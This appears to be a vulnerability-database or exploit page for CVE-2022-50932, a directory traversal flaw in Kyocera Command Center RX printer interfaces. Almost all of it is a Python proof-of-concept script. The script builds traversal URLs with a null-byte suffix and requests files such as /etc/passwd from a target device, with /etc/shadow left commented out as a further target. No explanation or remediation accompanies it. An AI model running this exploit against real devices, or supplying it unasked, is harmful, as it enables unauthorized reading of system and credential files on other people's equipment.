CVE-2022-50932 | Kyocera Command Center RX 目录遍历漏洞

import requests # CVE-2022-50932 PoC - Kyocera Command Center RX Directory Traversal # Target: Kyocera ECOSYS M2035dn with Command Center RX def exploit_directory_traversal(target_url, file_path): """ Exploit directory traversal vulnerability to read sensitive files Args: target_url: Base URL of Kyocera device (e.g., http://192.168.1.100) file_path: Absolute path of file to read (e.g., /etc/passwd) """ # Encode null byte and construct traversal path encoded_path = file_path.replace('/', '/..') + '%00.jpg' # Construct the malicious URL exploit_url = f"{target_url}/js/{encoded_path}" print(f"[*] Target: {target_url}") print(f"[*] Exploit URL: {exploit_url}") print(f"[*] Requesting file: {file_path}") try: response = requests.get(exploit_url, timeout=10) if response.status_code == 200: print(f"[+] Success! File content retrieved:") print("=" * 50) print(response.text) print("=" * 50) return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Example usage if __name__ == "__main__": target = "http://192.168.1.100" # Replace with actual target IP # Read /etc/passwd exploit_directory_traversal(target, "/etc/passwd") # Read /etc/shadow (requires root privileges on some systems) # exploit_directory_traversal(target, "/etc/shadow")